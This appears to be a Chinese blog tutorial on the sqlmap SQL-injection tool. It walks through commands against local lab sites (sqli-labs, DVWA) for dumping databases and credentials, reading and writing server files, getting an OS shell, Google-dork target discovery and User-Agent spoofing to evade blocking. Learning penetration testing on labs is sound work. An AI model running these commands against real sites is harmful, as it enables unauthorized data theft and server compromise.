@1kbfree
2018-08-13T23:24:27.000000Z
字数 4652
阅读 3887
渗透工具
本文章是看着《Web安全功夫:渗透测试实战指南》这本书(好书,推荐大家购买)来写的,主要是自己动手操作了一次(毕竟实践出真理~),然后把书中描述不全的内容描述全面,让更多人看的更加轻松~
这里使用的是sql-labs
,他有75种不同类型的注入漏洞,相当的全面,很适合学习
sqlmap
来渗透网站的小过程,如下
sqlmap -u "http://127.0.0.1/sql-bug/Less-1/?id=1"
从文件中加载
HTTP
请求,SQLMAP
可以从文本文件中获取到请求,如下
把觉得存在注入的数据放在一个txt
文件里,然后使用burp来跑~
sqlmap -r test.txt
如果确定存在sql注入,我们就要尝试获取一下数据,不然这个注入就不会有任何危害~
sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --dbs
这里显示有
43
个数据库,里面有41cms
、74cms
等
sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 -D security --tables
这里的
-D security --tables
是说去跑出security
下所有的表,那么这里会有人好奇security
是如何获取的,就是我们上一步--dbs
跑出来的,上面那个跑出的表名如下
在上面我们获取到了4个表名,其中有一个是
users
,那么我们就要来获取下他下面的字段名
sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 -D security -T users --columns
上一步获取到了3个字段,分别为
id
、password
、username
,那么我们现在来获取一下他们的内容
sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 -D security -T users -C id,password,username --dump
ok,成功跑出了内容,这个时候就可以用这些账号密码登陆后台然后进行一些不可描述的事情,这就是使用sqlmap
的实际使用过程
知道了他的渗透过程之后 下面就直接讲每个命令的功能是什么了~
sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --users
sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --password
sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --current-db
sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --current-user
--level 5
: 探测等级这个参数指需要执行的测试等级,他的访问是1~5,如果不加这个参数,那么默认是--level 1
。注意的是:等级越高,他的payload
越多,所以时间也会越长level 5
--lenel 2
的时候就会测试cookie
是否存在注入--lenel 3
的时候就会测试User-Agent/Referer
头是否存在注入总之,这里的等级越高,测试的越全面,代价就是等待的时间会比较长
其他的往后再讲解,这里只是告知一下哈哈哈哈=v=
--is-dba
:查看当前是否为管理权限此命令用于查看当前账户是否为数据库管理员账户,如果是返回
True
,如果不是返回False
sqlmap -u "注入点" --is-dba
--roles
:列出数据库管理员角色该命令用于查看数据库用户的角色,如果当前用户有权限读取包含所有用户的表,执行该命令就会列举出每个用户的角色,如下
Referer
是否存在注入SQLMAP
可以在请求中伪造HTTP
中的referer
(level
等级大于或等于3
的时候才会)
往后再讲(没看到相关的案例)
--sql-shell
:运行自定义SQL
语句该命令用户执行自定义的
SQL
语句,在渗透的时候,SQLMAP
可能无法做到你想要做的事情,但是他是存在注入的,那么可以使用这个命令来执行更多的SQL语句,具体操作如下
我们来执行一下几个简单的SQL
语句,如下
可以看到是能够执行的~
--os-cmd
/--os-shell
:运行任意系统命令如果目标的站点使用的数据库是MySQL
、PostgreSQL
或Microsoft SQL Server
,并且用户有权限使用特定的函数时可执行,具体后面讲解
--file-read
:从存在注入点的服务器中读取文件当数据库为MySQL
、PostgreSQL
或Microsoft SQL Server
,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件,操作如下
sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --file-read "C:\Users\Administrator\Desktop\burp request\test.txt"
上图他会把目标服务器上读取的文件
dump
下来,而且路径也列出来了,我们打开一下看看。
但是这个在实际渗透中,如果想读取目标站点的其他文件的话感觉无法读取,因为你并不知道他的绝对路径,那么这个时候我们就应该上传一些web
马子来完成这些事情,上传操作在下面
--file-write
和--file-dest
:上传文件到数据库服务器中当数据库为MySQL
、PostgreSQL
或Microsoft SQL Server
,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件,操作如下
sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --file-write "test.txt" --file-dest "C:\Users\Administrator\Desktop\src\1.txt"
这句话的意思是,把
test.txt
里的内容,写入到目标服务器的C:\Users\Administrator\Desktop\src\1.txt
里
banner
sqlmap -u "http://127.0.0.1/sql-bug/Less-1/?id=1" -p id -f
这里的
-p id
表示指定跑id
这个参数,-f
是打印出网站的banner
信息
banner
sqlmap -u "http://127.0.0.1/sql-bug/Less-1/?id=1" --banner
-v 1
:详细信息等级如果不加这个参数的话默认是-v 1
最高可为-v 6
,这个时候他会打印出更多的详细信息出来
-a
:检索所有参数-g
: 测试注入Google的搜索结果中的GET参数sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。
例子:
sqlmap -g "inurl:.php?id=*"
这样,他会去跑用搜索语法找出来的
GET
请求的链接,然后去看是否存在注入,这里需要翻墙的,因为他使用的是
--schema,--exclude-sysdbs
:获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型加上--exclude-sysdbs
参数,将不会获取数据库自带的系统库内容。
例子:
sqlmap -u "http://127.0.0.1/sql-bug/Less-1/?id=1" --schema --exclude-sysdbs
跑出的结果如下
--batch
:在SQLMAP
进行注入的时候,如果使用此参数则会按SQLMAP
提示的默认值一直运行下去-m
:批量扫描文件里的Url比如我现在有个文件Url.txt
,他的内容如下
这里的1、3行是存在注入的,那么我们用
SQLMAP
跑一下
sqlmap -m url.txt --betch
打开箭头指向的文件
--force-ssl
:如果注入点是HTTPS
,需加上此参数--param-del
:变量分隔符
sqlmap -u "x.x.x" --data="name=only_free;id=666" --param-del=";"
比如上面的注入点,他来区分参数的形式是
a;b
而不是a&b
,那么我们就需要这样子来检测,如果让其区分开来的话SQLMAP
就会按照这样子跑name=only_free;id=666 payload
--cookie
:设置cookie
在渗透过程中,会遇到一下网站需要先登陆才能去看文章,然后文章处这里存在Sql注入,那么我们就需要先在sqlmap
里设置一下cookie
才能去跑其文章处的注入。这里拿DVWA
来讲解,因为DVWA
也需要登陆才能够进行注入
首先打开dvwa
点击登陆后,获取他的cookie
(F12
大法)
然后把获取的cookie
放入sqlmap
来跑注入
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=123&Submit=Submit#" -p id --cookie="security=low; PHPSESSID=hjer3j5n8k0a9r5fl0ld6qnb51"
这样子,sqlmap
就能够"登陆"网站,然后来跑注入点了
--random-agent
:随机User-Agent
头当你没设置这个参数的时候,User-Agent
默认是sqlmap/1.0-dev-xxx(http://sqlmap.org)
,如果我们使用了--random-agent
参数的话,就会是随机浏览器的User-Agent
有时候有些网站可能是害怕有黑客用sqlmap
来扫描他的网站,所以他禁止了所有sqlmap
默认的User-Agent
,但是我们可以通过--random-agent
来绕过~
--referer
:设置referer
头
sqlmap -u "注入点" --referer="www.baidu.com"
如果
level >= 3
会去检查referer
是否存在注入
--headers
:自定义请求头
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=123&Submit=Submit#" -p id --cookie="security=low; PHPSESSID=hjer3j5n8k0a9r5fl0ld6qnb51" --headers="User-Agent:66666666666\nReferer:www.666.com"
这时候去跑注入的时候,他的User-Agent
会是6666666666
,Referer
会是www.666.com
,这里的\n
表示换行,这样子表示第一个请求头和第二个请求头(因为请求头的内容都是这样的,如下图)
--method:GET/POST
:设置请求方法-proxy
:设置代理
sqlmap -u "注入点" -proxy="http://代理地址" --proxy-cred="代理要用的认证,比如用户和密码"